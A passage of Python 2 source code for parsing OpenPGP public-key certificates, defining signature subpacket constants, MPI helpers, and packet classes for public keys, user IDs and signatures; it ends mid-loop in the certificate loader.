    SIG_SUB_TYPE_NOTATION : 'notation data',
    SIG_SUB_TYPE_PREF_HASH_ALGO : 'preferred hash algorithms',
    SIG_SUB_TYPE_PREF_COMP_ALGO : 'preferred compression algorithms',
    SIG_SUB_TYPE_KEY_SRV_PREF : 'key server preferences',
    SIG_SUB_TYPE_PREF_KEY_SRVR : 'preferred key server',
    SIG_SUB_TYPE_PRIM_USER_ID : 'primary user id',
    SIG_SUB_TYPE_POLICY_URI : 'policy URI',
    SIG_SUB_TYPE_KEY_FLAGS : 'key flags',
    SIG_SUB_TYPE_SGNR_USER_ID : "signer's user id",
    SIG_SUB_TYPE_REVOKE_REASON : 'reason for revocation',
    SIG_SUB_TYPE_FEATURES : 'features',
    SIG_SUB_TYPE_SIG_TARGET : 'signature target',
    SIG_SUB_TYPE_EMBEDDED_SIG : 'embedded signature'
}

# in a signature subpacket there may be a revocation reason, these codes indicate
# the reason
REVOKE_REASON_NONE = 0              # No reason specified
REVOKE_REASON_SUPER = 0x01          # Key is superceded
REVOKE_REASON_COMPR = 0x02          # Key has been compromised
REVOKE_REASON_NOT_USED = 0x03       # Key is no longer used
REVOKE_REASON_ID_INVALID = 0x20     # user id information is no longer valid

revoke_reason_to_str = {
    REVOKE_REASON_NONE : 'No reason specified',
    REVOKE_REASON_SUPER : 'Key is superceded',
    REVOKE_REASON_COMPR : 'Key has been compromised',
    REVOKE_REASON_NOT_USED : 'Key is no longer used',
    REVOKE_REASON_ID_INVALID : 'user id information is no longer valid'
}

# These flags are used in a 'key flags' signature subpacket
KEY_FLAGS1_MAY_CERTIFY = 0x01 # This key may be used to certify other keys
KEY_FLAGS1_MAY_SIGN = 0x02 # This key may be used to sign data
KEY_FLAGS1_MAY_ENC_COMM = 0x04 # This key may be used to encrypt communications
KEY_FLAGS1_MAY_ENC_STRG = 0x08 # This key may be used to encrypt storage
KEY_FLAGS1_PRIV_MAYBE_SPLIT = 0x10 # Private component have be split through secret-sharing mech.
KEY_FLAGS1_GROUP = 0x80 # Private component may be among group

# A revocation key subpacket has these class values
REVOKE_KEY_CLASS_MAND = 0x80 # this bit must always be set
REVOKE_KEY_CLASS_SENS = 0x40 # sensitive

# Features may be indicated in a signature hashed subpacket
PGP_FEATURE_1_MOD_DETECT = 0x01 # Modification detection

pgp_feature_to_str = {
    PGP_FEATURE_1_MOD_DETECT : 'Modification Detection'
}

def get_whole_number(msg, idx, numlen) :
    """get_whole_number(msg, idx, numlen)
extracts a "whole number" field of length numlen from msg at index idx
returns (<whole number>, new_idx) where the whole number is a long integer
and new_idx is the index of the next element in the message"""
    n = 0L 
    while numlen > 0 :
        b = (struct.unpack("B", msg[idx:idx+1]))[0]
        n = n * 256L + long(b)
        idx = idx + 1
        numlen = numlen - 1
    return (n, idx)

def get_whole_int(msg, idx, numlen) :
    """get_whole_int(msg, idx, numlen)
same as get_whole_number but returns the number as an int for convenience"""
    n, idx = get_whole_number(msg, idx, numlen)
    return int(n), idx

def pack_long(l) :
    """pack_long(l)
    returns big-endian representation of unsigned long integer"""
    arr = []
    while l > 0 :
        arr.insert(0, struct.pack("B", l & 0xff))
        l >>= 8
    return ''.join(arr)
    
def pack_mpi(l) :
    """pack_mpi(l)
    returns the PGP Multi-Precision Integer representation of unsigned long integer"""
    s = pack_long(l)
    # the len is the number of bits, counting only from the MSB,
    # so we need to account for that
    bits = (len(s) - 1) * 8
    if len(s) > 0 :
        n = ord(s[0])
        while n != 0 :
            bits += 1
            n >>= 1
    else :
        bits = 0 # otherwise bits == -8
    return struct.pack(">H", bits) + s

def get_sig_subpak_len(msg, idx) :
    """get_sig_subpak_len(msg, idx)
extracts a signature subpacket length field
returns (subpak_len, new_idx)"""
    plen, idx = get_whole_int(msg, idx, 1)
    if plen < 192 :
        return plen, idx
    if plen < 255 :
        plen2, idx = get_whole_int(msg, idx, 1)
        return ((plen - 192) << 8) + plen2 + 192, idx
    return get_whole_int(msg, idx, 4)

def get_n_mpi(msg, idx) :
    """get_mpi(msg, idx)
    extracts a multi-precision integer field from the message msg at index idx
    returns (n, <mpi>, new_idx) where the mpi is a long integer and new_idx is
    the index of the next element in the message and n is the number of bits of
    precision in <mpi>"""
    ln, idx = get_whole_int(msg, idx, 2)
    return (ln,) + get_whole_number(msg, idx, (ln+7)/8)

def get_mpi(msg, idx) :
    """get_mpi(msg, idx)
extracts a multi-precision integer field from the message msg at index idx
returns (<mpi>, new_idx) where the mpi is a long integer and new_idx is
the index of the next element in the message"""
    l = get_n_mpi(msg, idx)
    return (l[1], l[2])

def str_to_hex(s) :
    return ''.join(map(lambda x : hex(ord(x))[2:].zfill(2), list(s)))

def duration_to_str(s) :
    if s == 0 :
        return 'never'
    secs = s % 60
    s = s / 60
    mins = s % 60
    s = s / 60
    hrs = s % 60
    s = s / 24
    days = s
    return '%d days %02d:%02d:%02d' % (days, hrs, mins, secs)

def map_to_str(m, vals) :
    slist = []
    # change to a list if it's a single value
    if type(vals) != types.ListType and type(vals) != types.TupleType :
        vals = list((vals,))
    for i in vals :
        if i in m :
            slist.append(m[i])
        else :
            slist.append('unknown(' + str(i) + ')')
    return ', '.join(slist)

class pgp_packet(object) :
    def __init__(self) :
        self.pkt_typ = None

    def __str__(self) :
        return map_to_str(ctb_pkt_to_str, self.pkt_typ)

class public_key(pgp_packet) :
    def __init__(self) :
        pgp_packet.__init__(self)
        self.version = None
        self.pk_algo = None
        self.key_size = 0
        self.fingerprint_ = None # we cache this upon calculation

    def fingerprint(self) :
        # return cached value if we have it
        if self.fingerprint_ :
            return self.fingerprint_
        
        # otherwise calculate it now and cache it
        # v3 and v4 are calculated differently
        if self.version == 3 :
            h = hashlib.new('md5')
            h.update(pack_long(self.pk_rsa_mod))
            h.update(pack_long(self.pk_rsa_exp))
            self.fingerprint_ = h.digest()
        elif self.version == 4 :
            # we hash what would be the whole PGP message containing
            # the pgp certificate
            h = hashlib.new('sha1')
            h.update('\x99')
            # we need to has the length of the packet as well
            buf = self.serialize()
            h.update(struct.pack(">H", len(buf)))
            h.update(buf)
            self.fingerprint_ = h.digest()
        else :
            raise RuntimeError("unknown public key version %d" % self.version)
        return self.fingerprint_

    def key_id(self) :
        if self.version == 3 :
            return pack_long(self.pk_rsa_mod & 0xffffffffffffffffL)
        elif self.version == 4 :
            return self.fingerprint()[-8:]

    def serialize(self) :
        chunks = []
        if self.version == 3 :
            chunks.append(struct.pack('>BIHB', self.version, int(self.timestamp), self.validity, self.pk_algo))
            chunks.append(pack_mpi(self.pk_rsa_mod))
            chunks.append(pack_mpi(self.pk_rsa_exp))
        elif self.version == 4 :
            chunks.append(struct.pack('>BIB', self.version, int(self.timestamp), self.pk_algo))
            if self.pk_algo == ALGO_PK_RSA_ENC_OR_SIGN or self.pk_algo == ALGO_PK_RSA_SIGN_ONLY :
                chunks.append(pack_mpi(self.pk_rsa_mod))
                chunks.append(pack_mpi(self.pk_rsa_exp))
            elif self.pk_algo == ALGO_PK_DSA :
                chunks.append(pack_mpi(self.pk_dsa_prime_p))
                chunks.append(pack_mpi(self.pk_dsa_grp_ord_q))
                chunks.append(pack_mpi(self.pk_dsa_grp_gen_g))
                chunks.append(pack_mpi(self.pk_dsa_pub_key))
            elif self.pk_algo == ALGO_PK_ELGAMAL_ENC_OR_SIGN or self.pk_algo == ALGO_PK_ELGAMAL_ENC_ONLY :
                chunks.append(pack_mpi(self.pk_elgamal_prime_p))
                chunks.append(pack_mpi(self.pk_elgamal_grp_gen_g))
                chunks.append(pack_mpi(self.pk_elgamal_pub_key))
            else :
                raise RuntimeError("unknown public key algorithm %d" % (self.pk_algo))
        return ''.join(chunks)
    
    def deserialize(self, msg, idx, pkt_len) :
        idx_save = idx
        self.version, idx = get_whole_int(msg, idx, 1)
        if self.version != 2 and self.version != 3 and self.version != 4 :
            raise RuntimeError('unknown public key packet version %d at %d' % (self.version, idx_save))
        if self.version == 2 : # map v2 into v3 for coding simplicity since they're structurally the same
            self.version = 3
        self.timestamp, idx = get_whole_number(msg, idx, 4)
        self.timestamp = float(self.timestamp)
        if self.version == 3 :
            self.validity, idx = get_whole_number(msg, idx, 2)
        self.pk_algo, idx = get_whole_int(msg, idx, 1)
        if self.pk_algo == ALGO_PK_RSA_ENC_OR_SIGN or self.pk_algo == ALGO_PK_RSA_SIGN_ONLY :
            self.key_size, self.pk_rsa_mod, idx = get_n_mpi(msg, idx)
            self.pk_rsa_exp, idx = get_mpi(msg, idx)
        elif self.pk_algo == ALGO_PK_DSA :
            l1, self.pk_dsa_prime_p, idx = get_n_mpi(msg, idx)
            self.pk_dsa_grp_ord_q, idx = get_mpi(msg, idx)
            self.pk_dsa_grp_gen_g, idx = get_mpi(msg, idx)
            l2, self.pk_dsa_pub_key, idx = get_n_mpi(msg, idx)
            self.key_size = l1 + l2
        elif self.pk_algo == ALGO_PK_ELGAMAL_ENC_OR_SIGN or self.pk_algo == ALGO_PK_ELGAMAL_ENC_ONLY :
            self.key_size, self.pk_elgamal_prime_p, idx = get_n_mpi(msg, idx)
            self.pk_elgamal_grp_gen_g, idx = get_mpi(msg, idx)
            self.pk_elgamal_pub_key, idx = get_mpi(msg, idx)
        else :
            raise RuntimeError("unknown public key algorithm %d at %d" % (self.pk_algo, idx_save))

    def __str__(self) :
        sio = cStringIO.StringIO()
        sio.write(pgp_packet.__str__(self) + "\n")
        sio.write("version: " + str(self.version) + "\n")
        sio.write("timestamp: " + time.ctime(self.timestamp) + "\n")
        if self.version == 3 :
            sio.write("validity: " + time.ctime(self.timestamp + self.validity * 24 * 60 * 60) + "\n")
        sio.write("pubkey algo: " + algo_pk_to_str[self.pk_algo] + "\n")
        if self.pk_algo == ALGO_PK_RSA_ENC_OR_SIGN or self.pk_algo == ALGO_PK_RSA_SIGN_ONLY :
            sio.write("pk_rsa_mod: " + hex(self.pk_rsa_mod) + "\n")
            sio.write("pk_rsa_exp: " + hex(self.pk_rsa_exp) + "\n")
        elif self.pk_algo == ALGO_PK_DSA :
            sio.write("pk_dsa_prime_p: " + hex(self.pk_dsa_prime_p) + "\n")
            sio.write("pk_dsa_grp_ord_q: " + hex(self.pk_dsa_grp_ord_q) + "\n")
            sio.write("pk_dsa_grp_gen_g: " + hex(self.pk_dsa_grp_gen_g) + "\n")
            sio.write("pk_dsa_pub_key: " + hex(self.pk_dsa_pub_key) + "\n")
        elif self.pk_algo == ALGO_PK_ELGAMAL_ENC_OR_SIGN or self.pk_algo == ALGO_PK_ELGAMAL_ENC_ONLY :
            sio.write("pk_elgamal_prime_p: " + hex(self.pk_elgamal_prime_p) + "\n")
            sio.write("pk_elgamal_grp_gen_g: " + hex(self.pk_elgamal_grp_gen_g) + "\n")
            sio.write("pk_elgamal_pub_key: " + hex(self.pk_elgamal_pub_key) + "\n")
        return sio.getvalue()

class user_id(pgp_packet) :
    def __init__(self) :
        pgp_packet.__init__(self)
        self.id = None

    def deserialize(self, msg, idx, pkt_len) :
        self.id = msg[idx:idx + pkt_len]

    def __str__(self) :
        return pgp_packet.__str__(self) + "\n" + "id: " + self.id + "\n"

class user_attribute(pgp_packet) :
    def __init__(self) :
        pgp_packet.__init__(self)
        self.sub_type = None
        self.data = None

    def deserialize(self, msg, idx, pkt_len) :
        self.sub_type, idx = get_whole_int(msg, idx, 1)
        pkt_len = pkt_len - 1
        self.data = msg[idx:idx + pkt_len]

    def __str__(self) :
        return pgp_packet.__str__(self) + "\n" + "sub_type: " + str(self.sub_type) + "\ndata: " + str_to_hex(self.data)

class signature(pgp_packet) :
    def __init__(self) :
        pgp_packet.__init__(self)
        self.version = None
        self.sig_type = None
        self.pk_algo = None
        self.hash_algo = None
        self.hash_frag = None

    def key_id(self) :
        if self.version == 3 :
            return self.key_id_
        else :
            i = self.get_hashed_subpak(SIG_SUB_TYPE_ISSUER_KEY_ID)
            if i :
                return i[1]
            i = self.get_unhashed_subpak(SIG_SUB_TYPE_ISSUER_KEY_ID)
            if i :
                return i[1]
            return None

    def creation_time(self) :
        if self.version == 3 :
            return self.timestamp
        else :
            i = self.get_hashed_subpak(SIG_SUB_TYPE_CREATE_TIME)
            return i[1]

    def expiration(self) :
        if self.version != 4 :
            raise ValueError('v3 signatures don\'t have expirations')
        i = self.get_hashed_subpak(SIG_SUB_TYPE_KEY_EXPIRE)
        if i :
            return i[1]
        return 0 # if not present then it never expires

    def get_hashed_subpak(self, typ) :
        for i in self.hashed_subpaks :
            if i[0] == typ :
                return i
        return None
    
    def get_unhashed_subpak(self, typ) :
        for i in self.unhashed_subpaks :
            if i[0] == typ :
                return i
        return None
    
    def deserialize_subpacket(self, msg, idx) :
        sublen, idx = get_sig_subpak_len(msg, idx)
        subtype, idx = get_whole_int(msg, idx, 1)
        if subtype == SIG_SUB_TYPE_CREATE_TIME : # key creation time
            tm, idx = get_whole_number(msg, idx, 4)
            return (subtype, float(tm)), idx
        if subtype == SIG_SUB_TYPE_EXPIRE_TIME or subtype == SIG_SUB_TYPE_KEY_EXPIRE :
            s, idx = get_whole_int(msg, idx, 4)
            return (subtype, s), idx
        if subtype == SIG_SUB_TYPE_EXPORT_CERT or subtype == SIG_SUB_TYPE_REVOCABLE :
            bool, idx = get_whole_int(msg, idx, 1)
            return (subtype, bool), idx
        if subtype == SIG_SUB_TYPE_TRUST_SIG : # trust signature
            trust_lvl, idx = get_whole_int(msg, idx, 1)
            trust_amt, idx = get_whole_int(msg, idx, 1)
            return (subtype, trust_lvl, trust_amt), idx
        if subtype == SIG_SUB_TYPE_REGEXP : # regular expression
            expr = msg[idx:idx+sublen-1]
            idx = idx + sublen - 1
            return (subtype, expr), idx
        if subtype == SIG_SUB_TYPE_PREF_SYMM_ALGO or subtype == SIG_SUB_TYPE_PREF_HASH_ALGO or subtype == SIG_SUB_TYPE_PREF_COMP_ALGO or subtype == SIG_SUB_TYPE_KEY_FLAGS :
            algo_list = map(lambda x : ord(x), list(msg[idx:idx+sublen-1]))
            idx = idx + sublen - 1
            return (subtype, algo_list), idx
        if subtype == SIG_SUB_TYPE_REVOKE_KEY : # revocation key
            cls, idx = get_whole_int(msg, idx, 1)
            algo, idx = get_whole_int(msg, idx, 1)
            fprint = msg[idx:idx+20]
            idx = idx + 20
            return (subtype, cls, algo, fprint), idx
        if subtype == SIG_SUB_TYPE_ISSUER_KEY_ID : # issuer key ID
            k_id = msg[idx:idx+8]
            idx = idx + 8
            return (subtype, k_id), idx
        if subtype == SIG_SUB_TYPE_NOTATION : # notation data
            flg1, idx = get_whole_int(msg, idx, 1)
            flg2, idx = get_whole_int(msg, idx, 1)
            flg3, idx = get_whole_int(msg, idx, 1)
            flg4, idx = get_whole_int(msg, idx, 1)
            name_len, idx = get_whole_int(msg, idx, 2)
            val_len, idx = get_whole_int(msg, idx, 2)
            nam = msg[idx:idx+name_len]
            idx = idx + name_len
            val = msg[idx:idx+val_len]
            idx = idx + val_len
            return (subtype, flg1, flg2, flg3, flg4, nam, val), idx
        if subtype == SIG_SUB_TYPE_KEY_SRV_PREF : # key server preferences
            prefs = [ ord(x) for x in msg[idx:idx+sublen-1] ]
            idx = idx + sublen - 1
            return (subtype, prefs), idx
        if subtype == SIG_SUB_TYPE_PREF_KEY_SRVR : # preferred key server
            url = msg[idx:idx+sublen-1]
            idx = idx + sublen - 1
            return (subtype, url), idx
        if subtype == SIG_SUB_TYPE_PRIM_USER_ID : # primary user id
            bool, idx = get_whole_int(msg, idx, 1)
            return (subtype, bool), idx
        if subtype == SIG_SUB_TYPE_POLICY_URI : # policy URI
            uri = msg[idx:idx+sublen-1]
            idx = idx + sublen - 1
            return (subtype, uri), idx
        if subtype == SIG_SUB_TYPE_SGNR_USER_ID : # signer's user id
            signer_id = msg[idx:idx+sublen-1]
            idx = idx + sublen - 1
            return (subtype, signer_id), idx
        if subtype == SIG_SUB_TYPE_REVOKE_REASON : # reason for revocation
            rev_code, idx = get_whole_int(msg, idx, 1)
            reas_len = sublen - 2
            reas = msg[idx:idx+reas_len]
            idx = idx + reas_len
            return (subtype, rev_code, reas), idx
        if subtype == SIG_SUB_TYPE_FEATURES : # features
            sublen = sublen - 1
            l = [subtype]
            while sublen > 0 :
                oct, idx = get_whole_int(msg, idx, 1)
                l.append(oct)
                sublen = sublen - 1
            return tuple(l), idx
        if subtype == SIG_SUB_TYPE_SIG_TARGET : # signature target
            public_key_algo, idx = get_whole_int(msg, idx, 1)
            hash_algo, idx = get_whole_int(msg, idx, 1)
            hash = msg[idx:idx+sublen-3]
            idx = idx + sublen - 3
            return (subtype, public_key_algo, hash_algo, hash), idx
        if subtype == SIG_SUB_TYPE_EMBEDDED_SIG : # embedded signature
            # don't do anything fancy, just the raw bits
            dat = msg[idx:idx+sublen-1]
            idx = idx + sublen - 1
            return (subtype, dat), idx

        # otherwise the subpacket is an unknown type, so we just pack the data in it
        dat = msg[idx:idx+sublen-1]
        idx = idx + sublen - 1
        return (subtype, dat), idx

    def is_primary_user_id(self) :
        """is_primary_user_id()
        returns true if this signature contains a primary user id subpacket with value true"""
        for i in self.hashed_subpaks :
            if i[0] == SIG_SUB_TYPE_PRIM_USER_ID :
                return i[1]
        return 0
    
    def subpacket_to_str(self, sp) :
        if sp[0] == SIG_SUB_TYPE_CREATE_TIME : # signature creation time
            return 'creation time: ' + time.ctime(sp[1])
        if sp[0] == SIG_SUB_TYPE_EXPIRE_TIME : # signature expiration time
            return 'signature expires: ' + duration_to_str(sp[1])
        if sp[0] == SIG_SUB_TYPE_EXPORT_CERT : # exportable certification
            if sp[1] :
                return 'signature exportable: TRUE'
            else :
                return 'signature exportable: FALSE'
        if sp[0] == SIG_SUB_TYPE_TRUST_SIG : # trust signature
            if sp[1] == 0 :
                return 'trust: ordinary'
            if sp[1] == 1 :
                return 'trust: introducer (%d)' % sp[2]
            if sp[1] == 2 :
                return 'trust: meta-introducer (%d)' % sp[2]
            return 'trust: %d %d' % (sp[1], sp[2])
        if sp[0] == SIG_SUB_TYPE_REGEXP : # regular expression
            return 'regexp: ' + sp[1]
        if sp[0] == SIG_SUB_TYPE_REVOCABLE : # revocable
            if sp[1] :
                return 'signature revocable: TRUE'
            else :
                return 'signature revocable: FALSE'
        if sp[0] == SIG_SUB_TYPE_KEY_EXPIRE : # key expiration time
            return 'key expires: ' + duration_to_str(sp[1])
        if sp[0] == SIG_SUB_TYPE_PREF_SYMM_ALGO : # preferred symmetric algorithms
            return 'preferred symmetric algorithms: ' + map_to_str(algo_sk_to_str, sp[1])
        if sp[0] == SIG_SUB_TYPE_REVOKE_KEY : # revocation key
            s = 'revocation key: '
            if sp[1] & REVOKE_KEY_CLASS_SENS :
                s = s + '(sensitive) '
            return s + map_to_str(algo_pk_to_str, sp[2]) + ' ' + str_to_hex(sp[3])
        if sp[0] == SIG_SUB_TYPE_ISSUER_KEY_ID : # issuer key ID
            return 'issuer key id: ' + str_to_hex(sp[1])
        if sp[0] == SIG_SUB_TYPE_NOTATION : # notation data
            return 'notation: flags(%d, %d, %d, %d) name(%s) value(%s)' % sp[1:]
        if sp[0] == SIG_SUB_TYPE_PREF_HASH_ALGO : # preferred hash algorithms
            return 'preferred hash algorithms: ' + map_to_str(algo_hash_to_str, sp[1])
        if sp[0] == SIG_SUB_TYPE_PREF_COMP_ALGO : # preferred compression algorithms
            return 'preferred compression algorithms: ' + map_to_str(algo_comp_to_str, sp[1])
        if sp[0] == SIG_SUB_TYPE_KEY_SRV_PREF : # key server preferences
            s = 'key server preferences: '
            prefs = []
            if sp[1][0] & 0x80 :
                prefs.append('No-modify')
            return s + ', '.join(prefs)
        if sp[0] == SIG_SUB_TYPE_PREF_KEY_SRVR : # preferred key server
            return 'preferred key server: %s' % sp[1]
        if sp[0] == SIG_SUB_TYPE_PRIM_USER_ID : # primary user id
            if sp[1] :
                return 'is primary user id'
            else :
                return 'is not primary user id'
        if sp[0] == SIG_SUB_TYPE_POLICY_URI : # policy URL
            return 'policy url: %s' % sp[1]
        if sp[0] == SIG_SUB_TYPE_KEY_FLAGS : # key flags
            flags = []
            flgs1 = 0
            if len(sp[1]) >= 1 :
                flgs1 = sp[1][0]
            if flgs1 & KEY_FLAGS1_MAY_CERTIFY :
                flags.append('may certify other keys')
            if flgs1 & KEY_FLAGS1_MAY_SIGN :
                flags.append('may sign data')
            if flgs1 & KEY_FLAGS1_MAY_ENC_COMM :
                flags.append('may encrypt communications')
            if flgs1 & KEY_FLAGS1_MAY_ENC_STRG :
                flags.append('may encrypt storage')
            if flgs1 & KEY_FLAGS1_PRIV_MAYBE_SPLIT :
                flags.append('private component may have been secret-sharing split')
            if flgs1 & KEY_FLAGS1_GROUP :
                flags.append('group key')
            return 'key flags: ' + ', '.join(flags)
        if sp[0] == SIG_SUB_TYPE_SGNR_USER_ID : # signer's user id
            return 'signer id: ' + sp[1]
        if sp[0] == SIG_SUB_TYPE_REVOKE_REASON : # reason for revocation
            reas = revoke_reason_to_str.get(sp[1], '')
            return 'reason for revocation: %s, %s' % (reas, sp[2])
        if sp[0] == SIG_SUB_TYPE_FEATURES : # features
            features = []
            if len(sp) > 1 :
                val = sp[1]
                if val & PGP_FEATURE_1_MOD_DETECT :
                    features.append('Modification Detection')
                val = val & ~PGP_FEATURE_1_MOD_DETECT
                if val != 0 :
                    features.append('[0]=0x%x' % val)
            for i in range(2, len(sp)) :
                features.append('[%d]=0x%x' % (i-1,sp[i]))
            return 'features: ' + ', '.join(features)
        # this means we don't know what the thing is so we just have raw data
        return 'unknown(%d): %s' % (sp[0], str_to_hex(sp[1]))

    def deserialize(self, msg, idx, pkt_len) :
        self.version, idx = get_whole_int(msg, idx, 1)
        if self.version == 2 :
            self.version = 3
        if self.version == 3 :
            hash_len, idx = get_whole_number(msg, idx, 1)
            self.sig_type, idx = get_whole_int(msg, idx, 1)
            self.timestamp, idx = get_whole_number(msg, idx, 4)
            self.timestamp = float(self.timestamp)
            self.key_id_ = msg[idx:idx+8]
            idx = idx + 8
            self.pk_algo, idx = get_whole_int(msg, idx, 1)
            self.hash_algo, idx = get_whole_int(msg, idx, 1)
        elif self.version == 4:
            self.sig_type, idx = get_whole_int(msg, idx, 1)
            self.pk_algo, idx = get_whole_int(msg, idx, 1)
            self.hash_algo, idx = get_whole_int(msg, idx, 1)
            sub_paks_len, idx = get_whole_int(msg, idx, 2)
            sub_paks_end = idx + sub_paks_len
            self.hashed_subpaks = []
            while idx < sub_paks_end :
                sp, idx = self.deserialize_subpacket(msg, idx)
                self.hashed_subpaks.append(sp)
            sub_paks_len, idx = get_whole_int(msg, idx, 2)
            sub_paks_end = idx + sub_paks_len
            self.unhashed_subpaks = []
            while idx < sub_paks_end :
                sp, idx = self.deserialize_subpacket(msg, idx)
                self.unhashed_subpaks.append(sp)
        else :
            raise RuntimeError('unknown signature packet version %d at %d' % (self.version, idx))
        self.hash_frag, idx = get_whole_number(msg, idx, 2)
        if self.pk_algo == ALGO_PK_RSA_ENC_OR_SIGN or self.pk_algo == ALGO_PK_RSA_SIGN_ONLY :
            self.rsa_sig, idx = get_mpi(msg, idx)
        elif self.pk_algo == ALGO_PK_DSA :
            self.dsa_sig_r, idx = get_mpi(msg, idx)
            self.dsa_sig_s, idx = get_mpi(msg, idx)
        else :
            raise RuntimeError('unknown public-key algorithm (%d) in signature at %d' % (self.pk_algo, idx))
        return idx

    def __str__(self) :
        sio = cStringIO.StringIO()
        sio.write(pgp_packet.__str__(self) + "\n")
        sio.write("version: " + str(self.version) + "\n")
        sio.write("type: " + sig_type_to_str[self.sig_type] + "\n")
        if self.version == 3 :
            sio.write("timestamp: " + time.ctime(self.timestamp) + "\n")
            sio.write("key_id: " + str_to_hex(self.key_id_) + "\n")
        elif self.version == 4 :
            sio.write("hashed subpackets:\n")
            for i in self.hashed_subpaks :
                sio.write("    " + self.subpacket_to_str(i) + "\n")
            sio.write("unhashed subpackets:\n")
            for i in self.unhashed_subpaks :
                sio.write("    " + self.subpacket_to_str(i) + "\n")
        sio.write("hash_algo: " + algo_hash_to_str[self.hash_algo] + "\n")
        sio.write("hash_frag: " + hex(self.hash_frag) + "\n")
        if self.pk_algo == ALGO_PK_RSA_ENC_OR_SIGN or self.pk_algo == ALGO_PK_RSA_SIGN_ONLY :
            sio.write("pk_algo: RSA\n")
            sio.write("rsa_sig: " + hex(self.rsa_sig) + "\n")
        elif self.pk_algo == ALGO_PK_DSA :
            sio.write("pk_algo: DSA\n")
            sio.write("dsa_sig_r: " + hex(self.dsa_sig_r) + "\n")
            sio.write("dsa_sig_s: " + hex(self.dsa_sig_s) + "\n")
        return sio.getvalue()

#
# This class encapsulates an openpgp public "certificate", which is formed in a message as
# a series of PGP packets of certain types in certain orders
#

class pgp_certificate(object):
    def __init__(self) :
        self.version = None
        self.public_key = None
        self.revocations = []
        self.user_ids = []
        self.primary_user_id = -1 # index of the primary user id

    def __str__(self) :
        sio = cStringIO.StringIO()
        sio.write("PGP Public Key Certificate v%d\n" % self.version)
        sio.write("Cert ID: %s\n" % str_to_hex(self.public_key.key_id()))
        sio.write("Primary ID: %s\n" % self.user_id)
        sio.write(str(self.public_key))
        for uid in self.user_ids :
            sio.write(str(uid[0]))
            for sig in uid[1:] :
                sio.write("   " + str(sig))
        if hasattr(self, 'user_attrs') :
            for uattr in self.user_attrs :
                sio.write(' ')
                sio.write(str(uattr[0]))
                for sig in uattr[1:] :
                    sio.write("   " + str(sig))
        return sio.getvalue()
    
    def get_user_id(self):
        # take the LAST one in the list, not first
        # they appear to be ordered FIFO from the key and that means if you
        # added a key later then it won't show the one you expect
        return self.user_ids[self.primary_user_id][0].id
        
    user_id = property(get_user_id)
    
    def expiration(self) :
        if self.version == 3 :
            if self.public_key.validity == 0 :
                return 0
            return self.public_key.timestamp + self.public_key.validity * 24 * 60 * 60
        else : # self.version == 4
            # this is a bit more complex, we need to find the signature on the
            # key and get its expiration
            u_id = self.user_ids[0]
            for i in u_id[1:] :
                if i.sig_type == SIG_TYPE_PK_USER_GEN :
                    exp = i.expiration()
                    if exp == 0 :
                        return 0
                    return self.public_key.timestamp + exp
            return 0

    def key_size(self) :
        return 0
    
    def load(self, pkts) :
        """load(pkts)
Initialize the pgp_certificate with a list of OpenPGP packets. The list of packets will
be scanned to make sure they are valid for a pgp certificate."""


        # each certificate should begin with a public key packet
        if pkts[0].pkt_typ != CTB_PKT_PK_CERT :
            raise ValueError('first PGP packet should be a public-key packet, not %s' % map_to_str(ctb_pkt_to_str, pkts[0].pkt_typ))

        # all versions have a public key although in a v4 cert the main key is only
        # used for signing, never encryption
        self.public_key = pkts[0]

        # ok, then what's the version
        self.version = self.public_key.version

        # now the behavior splits a little depending on the version
        if self.version == 3 :
            pkt_idx = 1

            # zero or more revocations
            while pkts[pkt_idx].pkt_typ == CTB_PKT_SIG :
                if pkts[pkt_idx].version != 3 :
                    raise ValueError('version 3 cert has version %d signature' % pkts[pkt_idx].version)
                if pkts[pkt_idx].sig_type != SIG_TYPE_KEY_REVOKE :
                    raise ValueError('v3 cert revocation sig has type %s' % map_to_str(sig_type_to_str, pkts[pkt_idx].sig_type))

                # ok, well at least the type is good, we'll assume the cert is
                # revoked
                self.revocations.append(pkts[pkt_idx])

                # increment the pkt_idx to go to the next one
                pkt_idx = pkt_idx + 1

            # the following packets are User ID, Signature pairs
            while pkt_idx < len(pkts) :
                # this packet is supposed to be a user id
                if pkts[pkt_idx].pkt_typ != CTB_PKT_USER_ID :
                    if len(self.user_ids) == 0 :
                        raise ValueError('pgp packet %d is not user id, is %s' % (pkt_idx, map_to_str(ctb_pkt_to_str, pkts[pkt_idx].pkt_typ)))
                    else :
                        break

                user_id = [pkts[pkt_idx]]
                pkt_idx = pkt_idx + 1
                is_revoked = 0
                is_primary_user_id = 0

                # there may be a sequence of signatures following the user id which
                # bind it to the key
                while pkt_idx < len(pkts) and pkts[pkt_idx].pkt_typ == CTB_PKT_SIG :
                    if pkts[pkt_idx].sig_type not in (SIG_TYPE_PK_USER_GEN, SIG_TYPE_PK_USER_PER, SIG_TYPE_PK_USER_CAS, SIG_TYPE_PK_USER_POS, SIG_TYPE_CERT_REVOKE) :
                        raise ValueError('signature %d doesn\'t bind user_id to key, is %s' % (pkt_idx, map_to_str(sig_type_to_str, pkts[pkt_idx].sig_type)))

                    user_id.append(pkts[pkt_idx])

                    pkt_idx = pkt_idx + 1

                # append the user ID and signature(s) onto a list
                self.user_ids.append(user_id)

        else : # self.version == 4
            pkt_idx = 1
            self.direct_key_sigs = []
            self.subkeys = []
            self.rvkd_subkeys = []
            self.user_attrs = []

            cert_id = self.public_key.key_id()

            # second packet could be a revocation (or a direct key self signature)
            while pkt_idx < len(pkts) and pkts[pkt_idx].pkt_typ == CTB_PKT_SIG :
                if pkts[pkt_idx].version != 4 :
                    raise ValueError('version 4 cert has version %d signature' % pkts[pkt_idx].version)
                if pkts[pkt_idx].sig_type == SIG_TYPE_KEY_REVOKE :
                    self.revocations.append(pkts[pkt_idx])
                elif pkts[pkt_idx].sig_type == SIG_TYPE_KEY :
                    self.direct_key_sigs.append(pkts[pkt_idx])
                else :
                    raise ValueError('v4 cert signature has type %s, supposed to be revocation signature or direct key signature' % map_to_str(sig_type_to_str, pkts[pkt_idx].sig_type))

                # increment the pkt_idx to go to the next one
                pkt_idx = pkt_idx + 1
                
            # the following packets are:
            # User ID, signature... sets or
            # subkey, signature... sets or
            # user attribute, signature... sets
            prim_user_id_sig_time = 0

            while pkt_idx < len(pkts) :
                # this packet is supposed to be a user id
                if pkts[pkt_idx].pkt_typ == CTB_PKT_USER_ID :
                    user_id = [pkts[pkt_idx]]
                    is_revoked = 0
                    is_primary_user_id = 0

                    pkt_idx = pkt_idx + 1

                    # there may be a sequence of signatures following the user id which
                    # bind it to the key
                    while pkt_idx < len(pkts) and pkts[pkt_idx].pkt_typ == CTB_PKT_SIG :
